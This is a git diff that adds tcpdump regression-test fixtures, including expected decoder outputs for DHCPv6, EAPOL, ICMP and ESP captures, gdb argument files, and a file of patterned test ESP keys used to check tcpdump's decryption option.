+IP6 (hlim 64, next-header UDP (17) payload length: 88) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 reply (xid=2ffdd1 (IA_NA IAID:33752069 T1:3600 T2:5400 (IA_ADDR 2a00:1:1:200:38e6:b22e:c440:acdf pltime:4500 vltime:7200)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259276 001122334455))
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-ia-na.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-ia-na.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..3cafdc543e103c40463fedcd8c3ad363cc02d029
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-ia-na.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-ia-pd.out b/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-ia-pd.out
new file mode 100644
index 0000000000000000000000000000000000000000..f23046754df6e3c5c957ff33385f9d3ed7879f18
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-ia-pd.out
@@ -0,0 +1,4 @@
+IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 56) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 solicit (xid=e1e093 (client-ID hwaddr type 1 000102030405) (option-request DNS-server DNS-search-list) (elapsed-time 0) (IA_PD IAID:33752069 T1:3600 T2:5400))
+IP6 (hlim 64, next-header UDP (17) payload length: 89) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 advertise (xid=e1e093 (IA_PD IAID:33752069 T1:3600 T2:5400 (IA_PD-prefix 2a00:1:1:100::/56 pltime:4500 vltime:7200)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259545 001122334455))
+IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 103) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 request (xid=12b08a (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259545 001122334455) (option-request DNS-server DNS-search-list) (elapsed-time 0) (IA_PD IAID:33752069 T1:3600 T2:5400 (IA_PD-prefix 2a00:1:1:100::/56 pltime:7200 vltime:7500)))
+IP6 (hlim 64, next-header UDP (17) payload length: 89) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 reply (xid=12b08a (IA_PD IAID:33752069 T1:3600 T2:5400 (IA_PD-prefix 2a00:1:1:100::/56 pltime:4500 vltime:7200)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259545 001122334455))
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-ia-pd.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-ia-pd.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..5fdd0673c52fc636aefcfb8c274cec67bb6144d4
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-ia-pd.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-ia-ta.out b/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-ia-ta.out
new file mode 100644
index 0000000000000000000000000000000000000000..5a8acef5f8b183194206ee0c5e06c120fd361207
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-ia-ta.out
@@ -0,0 +1,4 @@
+IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 48) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 solicit (xid=28b040 (client-ID hwaddr type 1 000102030405) (option-request DNS-server DNS-search-list) (elapsed-time 0) (IA_TA IAID:33752069))
+IP6 (hlim 64, next-header UDP (17) payload length: 80) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 advertise (xid=28b040 (IA_TA IAID:33752069 (IA_ADDR 2a00:1:1:200:5da2:f920:84c4:88cc pltime:4500 vltime:7200)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259120 001122334455))
+IP6 (class 0xc0, hlim 64, next-header UDP (17) payload length: 94) fe80::201:2ff:fe03:405.546 > ff02::1:2.547: [udp sum ok] dhcp6 request (xid=2b0e45 (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259120 001122334455) (option-request DNS-server DNS-search-list) (elapsed-time 0) (IA_TA IAID:33752069 (IA_ADDR 2a00:1:1:200:5da2:f920:84c4:88cc pltime:7200 vltime:7500)))
+IP6 (hlim 64, next-header UDP (17) payload length: 80) fe80::211:22ff:fe33:4455.547 > fe80::201:2ff:fe03:405.546: [udp sum ok] dhcp6 reply (xid=2b0e45 (IA_TA IAID:33752069 (IA_ADDR 2a00:1:1:200:5da2:f920:84c4:88cc pltime:4500 vltime:7200)) (client-ID hwaddr type 1 000102030405) (server-ID hwaddr/time type 1 time 407259120 001122334455))
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-ia-ta.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-ia-ta.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..b91f8b7711d2b40f5cb72d1562bc2af7c00589c9
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/dhcpv6-ia-ta.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/dio.out b/peasoup_examples/tests/tcpdump/tcpd_tests/dio.out
new file mode 100644
index 0000000000000000000000000000000000000000..4f0c18942fa6b6b3c7fa25e7c871b1e4c79ccb95
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/dio.out
@@ -0,0 +1 @@
+IP6 (hlim 255, next-header ICMPv6 (58) payload length: 24) fe80::1000:ff:fe64:6423 > ff02::1: [icmp6 sum ok] ICMP6, RPL, (CLR)Destination Advertisement Object
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/dio.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/dio.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..81706352a563b86d77b2c651cf61751e220cde67
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/dio.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/e1000g.out b/peasoup_examples/tests/tcpdump/tcpd_tests/e1000g.out
new file mode 100644
index 0000000000000000000000000000000000000000..0cc3b9e1003e7060377f3af8fc2be5e391d89e11
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/e1000g.out
@@ -0,0 +1,20 @@
+IP 129.146.106.55 > 10.5.233.117: ICMP echo request, id 6901, seq 0, length 64
+IP 10.5.233.117 > 129.146.106.55: ICMP echo reply, id 6901, seq 0, length 64
+IP 129.146.106.55 > 10.5.233.117: ICMP echo request, id 6901, seq 1, length 64
+IP 10.5.233.117 > 129.146.106.55: ICMP echo reply, id 6901, seq 1, length 64
+IP 129.146.106.55 > 10.5.233.117: ICMP echo request, id 6901, seq 2, length 64
+IP 10.5.233.117 > 129.146.106.55: ICMP echo reply, id 6901, seq 2, length 64
+IP 129.146.106.55 > 10.5.233.117: ICMP echo request, id 6901, seq 3, length 64
+IP 10.5.233.117 > 129.146.106.55: ICMP echo reply, id 6901, seq 3, length 64
+IP 129.146.106.55 > 10.5.233.117: ICMP echo request, id 6901, seq 4, length 64
+IP 10.5.233.117 > 129.146.106.55: ICMP echo reply, id 6901, seq 4, length 64
+IP 129.146.106.55 > 10.5.233.117: ICMP echo request, id 6901, seq 5, length 64
+IP 10.5.233.117 > 129.146.106.55: ICMP echo reply, id 6901, seq 5, length 64
+IP 129.146.106.55 > 10.5.233.117: ICMP echo request, id 6901, seq 6, length 64
+IP 10.5.233.117 > 129.146.106.55: ICMP echo reply, id 6901, seq 6, length 64
+IP 129.146.106.55 > 10.5.233.117: ICMP echo request, id 6901, seq 7, length 64
+IP 10.5.233.117 > 129.146.106.55: ICMP echo reply, id 6901, seq 7, length 64
+IP 129.146.106.55 > 10.5.233.117: ICMP echo request, id 6901, seq 8, length 64
+IP 10.5.233.117 > 129.146.106.55: ICMP echo reply, id 6901, seq 8, length 64
+IP 129.146.106.55 > 10.5.233.117: ICMP echo request, id 6901, seq 9, length 64
+IP 10.5.233.117 > 129.146.106.55: ICMP echo reply, id 6901, seq 9, length 64
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/e1000g.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/e1000g.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..11b0174504a3b24eb545c47aa55eaef39a77c29b
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/e1000g.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/eapon1.gdbinit b/peasoup_examples/tests/tcpdump/tcpd_tests/eapon1.gdbinit
new file mode 100644
index 0000000000000000000000000000000000000000..37ad0bcd029ed3fcff5308ccd00b07f953d4a555
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/eapon1.gdbinit
@@ -0,0 +1 @@
+set args -r eapon1.pcap
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/eapon1.out b/peasoup_examples/tests/tcpdump/tcpd_tests/eapon1.out
new file mode 100644
index 0000000000000000000000000000000000000000..69f7537c09c94c670eb8634e579251c560845c60
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/eapon1.out
@@ -0,0 +1,114 @@
+IP 192.168.1.249.138 > 192.168.1.255.138: NBT UDP PACKET(138)
+IP 192.168.1.249.138 > 192.168.1.255.138: NBT UDP PACKET(138)
+IP 192.168.1.249.138 > 192.168.1.255.138: NBT UDP PACKET(138)
+IP 192.168.1.249.137 > 192.168.1.255.137: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
+IP 192.168.1.249.137 > 192.168.1.255.137: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
+IP 192.168.1.249.137 > 192.168.1.255.137: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
+IP 192.168.1.249.138 > 192.168.1.255.138: NBT UDP PACKET(138)
+IP 192.168.1.249.137 > 192.168.1.255.137: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
+IP 192.168.1.249.137 > 192.168.1.255.137: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
+IP 192.168.1.249.137 > 192.168.1.255.137: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
+ARP, Request who-has 192.168.1.1 tell 192.168.1.249, length 28
+ARP, Reply 192.168.1.1 is-at 00:0d:88:4f:25:91, length 46
+IP 192.168.1.249.68 > 192.168.1.1.67: BOOTP/DHCP, Request from 00:04:23:57:a5:7a, length 300
+EAP packet (0) v1, len 5
+IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:04:23:57:a5:7a, length 300
+IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:04:23:57:a5:7a, length 300
+EAPOL start (1) v1, len 0
+EAP packet (0) v1, len 5
+EAP packet (0) v1, len 45
+EAP packet (0) v1, len 20
+EAP packet (0) v1, len 76
+EAP packet (0) v1, len 80
+EAP packet (0) v1, len 28
+EAP packet (0) v1, len 4
+EAPOL key (3) v1, len 57
+EAPOL key (3) v1, len 44
+IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:04:23:57:a5:7a, length 300
+IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:04:23:57:a5:7a, length 300
+IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:04:23:57:a5:7a, length 300
+EAPOL start (1) v1, len 0
+EAP packet (0) v1, len 5
+EAP packet (0) v1, len 45
+EAP packet (0) v1, len 20
+EAP packet (0) v1, len 76
+EAP packet (0) v1, len 80
+EAP packet (0) v1, len 28
+EAP packet (0) v1, len 4
+EAPOL key (3) v1, len 57
+EAPOL key (3) v1, len 44
+ARP, Request who-has 169.254.67.194 tell 169.254.67.194, length 28
+ARP, Request who-has 169.254.67.194 tell 169.254.67.194, length 28
+ARP, Request who-has 169.254.67.194 tell 169.254.67.194, length 28
+IP 169.254.67.194.4299 > 239.255.255.250.1900: UDP, length 133
+IP 169.254.67.194 > 224.0.0.22: igmp v3 report, 1 group record(s)
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194 > 224.0.0.22: igmp v3 report, 1 group record(s)
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:04:23:57:a5:7a, length 300
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.4299 > 239.255.255.250.1900: UDP, length 133
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+EAPOL start (1) v1, len 0
+EAP packet (0) v1, len 5
+EAP packet (0) v1, len 45
+EAP packet (0) v1, len 20
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+EAP packet (0) v1, len 76
+EAP packet (0) v1, len 80
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+EAP packet (0) v1, len 28
+EAP packet (0) v1, len 4
+EAPOL key (3) v1, len 57
+EAPOL key (3) v1, len 44
+IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:04:23:57:a5:7a, length 300
+IP 169.254.67.194.4299 > 239.255.255.250.1900: UDP, length 133
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.138 > 169.254.255.255.138: NBT UDP PACKET(138)
+IP 169.254.67.194.138 > 169.254.255.255.138: NBT UDP PACKET(138)
+IP 169.254.67.194.138 > 169.254.255.255.138: NBT UDP PACKET(138)
+IP 169.254.67.194.138 > 169.254.255.255.138: NBT UDP PACKET(138)
+IP 169.254.67.194.138 > 169.254.255.255.138: NBT UDP PACKET(138)
+IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:04:23:57:a5:7a, length 300
+IP 169.254.67.194.138 > 169.254.255.255.138: NBT UDP PACKET(138)
+IP 169.254.67.194.138 > 169.254.255.255.138: NBT UDP PACKET(138)
+IP 169.254.67.194.138 > 169.254.255.255.138: NBT UDP PACKET(138)
+IP 169.254.67.194.138 > 169.254.255.255.138: NBT UDP PACKET(138)
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): REGISTRATION; REQUEST; BROADCAST
+IP 169.254.67.194.138 > 169.254.255.255.138: NBT UDP PACKET(138)
+IP 169.254.67.194.138 > 169.254.255.255.138: NBT UDP PACKET(138)
+IP 169.254.67.194.138 > 169.254.255.255.138: NBT UDP PACKET(138)
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
+IP 169.254.67.194.137 > 169.254.255.255.137: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST
+IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:04:23:57:a5:7a, length 300
+EAPOL start (1) v1, len 0
+EAP packet (0) v1, len 5
+EAP packet (0) v1, len 45
+EAP packet (0) v1, len 20
+IP 169.254.67.194.138 > 169.254.255.255.138: NBT UDP PACKET(138)
+EAP packet (0) v1, len 76
+EAP packet (0) v1, len 80
+EAP packet (0) v1, len 28
+EAP packet (0) v1, len 4
+EAPOL key (3) v1, len 57
+EAPOL key (3) v1, len 44
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/eapon1.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/eapon1.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..4a87ed192bd738424e2f684c2ba3b388f0fd9f6f
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/eapon1.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/empty.uu b/peasoup_examples/tests/tcpdump/tcpd_tests/empty.uu
new file mode 100644
index 0000000000000000000000000000000000000000..17786d5d2d4b4aac4b603d45e3bd99076043de8a
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/empty.uu
@@ -0,0 +1,3 @@
+begin 666 /dev/null
+`
+end
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/esp-secrets.txt b/peasoup_examples/tests/tcpdump/tcpd_tests/esp-secrets.txt
new file mode 100644
index 0000000000000000000000000000000000000000..81847a0e3e502e56bd199b8b81bbcab0621cd36f
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/esp-secrets.txt
@@ -0,0 +1,5 @@
+# a comment
+
+0x12345678@192.1.2.45 3des-cbc-hmac96:0x43434545464649494a4a4c4c4f4f51515252545457575840
+0xabcdabcd@192.0.1.1  3des-cbc-hmac96:0x434545464649494a4a4c4c4f4f5151525254545757584043
+0xd1234567@192.1.2.45 aes256-cbc-hmac96:0xaaaabbbbccccdddd4043434545464649494a4a4c4c4f4f515152525454575758
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/esp0.out b/peasoup_examples/tests/tcpdump/tcpd_tests/esp0.out
new file mode 100644
index 0000000000000000000000000000000000000000..a0ddf1b2dc71304f4dae522bf74087334e1dbab0
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/esp0.out
@@ -0,0 +1,8 @@
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x1), length 116
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x2), length 116
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x3), length 116
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x4), length 116
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x5), length 116
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x6), length 116
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x7), length 116
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x8), length 116
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/esp1.gdbinit b/peasoup_examples/tests/tcpdump/tcpd_tests/esp1.gdbinit
new file mode 100644
index 0000000000000000000000000000000000000000..6c8ae890cbd511263fd3d38a2ed270a64cc20534
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/esp1.gdbinit
@@ -0,0 +1 @@
+set args -t -n -E "0x12345678@192.1.2.45 3des-cbc-hmac96:0x4043434545464649494a4a4c4c4f4f515152525454575758" -r 02-sunrise-sunset-esp.pcap 
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/esp1.out b/peasoup_examples/tests/tcpdump/tcpd_tests/esp1.out
new file mode 100644
index 0000000000000000000000000000000000000000..61b2967639ad84c026e8951188299b50467ce2a1
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/esp1.out
@@ -0,0 +1,8 @@
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x1), length 116: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 1280, length 64 (ipip-proto-4)
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x2), length 116: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 1536, length 64 (ipip-proto-4)
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x3), length 116: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 1792, length 64 (ipip-proto-4)
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x4), length 116: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 2048, length 64 (ipip-proto-4)
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x5), length 116: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 2304, length 64 (ipip-proto-4)
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x6), length 116: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 2560, length 64 (ipip-proto-4)
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x7), length 116: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 2816, length 64 (ipip-proto-4)
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x8), length 116: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 3072, length 64 (ipip-proto-4)
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/esp2.gdbinit b/peasoup_examples/tests/tcpdump/tcpd_tests/esp2.gdbinit
new file mode 100644
index 0000000000000000000000000000000000000000..7c18407586221a5c409aab2dfc3da7603beea909
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/esp2.gdbinit
@@ -0,0 +1 @@
+set args -t -n -E "0x12345678@192.1.2.45 3des-cbc-hmac96:0x43434545464649494a4a4c4c4f4f51515252545457575840,0xabcdabcd@192.0.1.1 3des-cbc-hmac96:0x434545464649494a4a4c4c4f4f5151525254545757584043" -r 08-sunrise-sunset-esp2.pcap 
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/esp2.out b/peasoup_examples/tests/tcpdump/tcpd_tests/esp2.out
new file mode 100644
index 0000000000000000000000000000000000000000..a829c8ea33907a5e3ed9f75e53533a569e1654a1
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/esp2.out
@@ -0,0 +1,8 @@
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x1), length 172: IP 192.1.2.23 > 192.0.1.1: ESP(spi=0xabcdabcd,seq=0x1), length 116: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 1280, length 64 (ipip-proto-4) (ipip-proto-4)
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x2), length 172: IP 192.1.2.23 > 192.0.1.1: ESP(spi=0xabcdabcd,seq=0x2), length 116: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 1536, length 64 (ipip-proto-4) (ipip-proto-4)
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x3), length 172: IP 192.1.2.23 > 192.0.1.1: ESP(spi=0xabcdabcd,seq=0x3), length 116: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 1792, length 64 (ipip-proto-4) (ipip-proto-4)
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x4), length 172: IP 192.1.2.23 > 192.0.1.1: ESP(spi=0xabcdabcd,seq=0x4), length 116: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 2048, length 64 (ipip-proto-4) (ipip-proto-4)
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x5), length 172: IP 192.1.2.23 > 192.0.1.1: ESP(spi=0xabcdabcd,seq=0x5), length 116: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 2304, length 64 (ipip-proto-4) (ipip-proto-4)
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x6), length 172: IP 192.1.2.23 > 192.0.1.1: ESP(spi=0xabcdabcd,seq=0x6), length 116: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 2560, length 64 (ipip-proto-4) (ipip-proto-4)
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x7), length 172: IP 192.1.2.23 > 192.0.1.1: ESP(spi=0xabcdabcd,seq=0x7), length 116: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 2816, length 64 (ipip-proto-4) (ipip-proto-4)
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0x12345678,seq=0x8), length 172: IP 192.1.2.23 > 192.0.1.1: ESP(spi=0xabcdabcd,seq=0x8), length 116: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 3072, length 64 (ipip-proto-4) (ipip-proto-4)
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/esp3.gdbinit b/peasoup_examples/tests/tcpdump/tcpd_tests/esp3.gdbinit
new file mode 100644
index 0000000000000000000000000000000000000000..71501187a2204376535e3b2c3d5b2f998a979c3d
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/esp3.gdbinit
@@ -0,0 +1 @@
+set args -t -n -E "3des-cbc-hmac96:0x43434545464649494a4a4c4c4f4f51515252545457575840" -r 08-sunrise-sunset-esp2.pcap 
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/esp4.gdbinit b/peasoup_examples/tests/tcpdump/tcpd_tests/esp4.gdbinit
new file mode 100644
index 0000000000000000000000000000000000000000..8007444b74e29adf2c1d61be56e6103c60a22ce6
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/esp4.gdbinit
@@ -0,0 +1,2 @@
+set args -t -n -E "file esp-secrets.txt" -r 08-sunrise-sunset-esp2.pcap 
+
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/esp5.gdbinit b/peasoup_examples/tests/tcpdump/tcpd_tests/esp5.gdbinit
new file mode 100644
index 0000000000000000000000000000000000000000..2f578e327042ce96a7b0421e1b810079975d5841
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/esp5.gdbinit
@@ -0,0 +1,3 @@
+set args -t -n -E "file esp-secrets.txt" -r 08-sunrise-sunset-aes.pcap 
+
+
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/esp5.out b/peasoup_examples/tests/tcpdump/tcpd_tests/esp5.out
new file mode 100644
index 0000000000000000000000000000000000000000..73f35e0b220156fa967f0f0694281e5a3939f8e4
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/esp5.out
@@ -0,0 +1,8 @@
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0xd1234567,seq=0x1), length 132: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 1280, length 64 (ipip-proto-4)
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0xd1234567,seq=0x2), length 132: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 1536, length 64 (ipip-proto-4)
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0xd1234567,seq=0x3), length 132: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 1792, length 64 (ipip-proto-4)
+IP 192.1.2.23 > 192.1.2.45: ESP(spi=0xd1234567,seq=0x4), length 132: IP 192.0.2.1 > 192.0.1.1: ICMP echo request, id 28416, seq 2048, length 64 (ipip-proto-4)
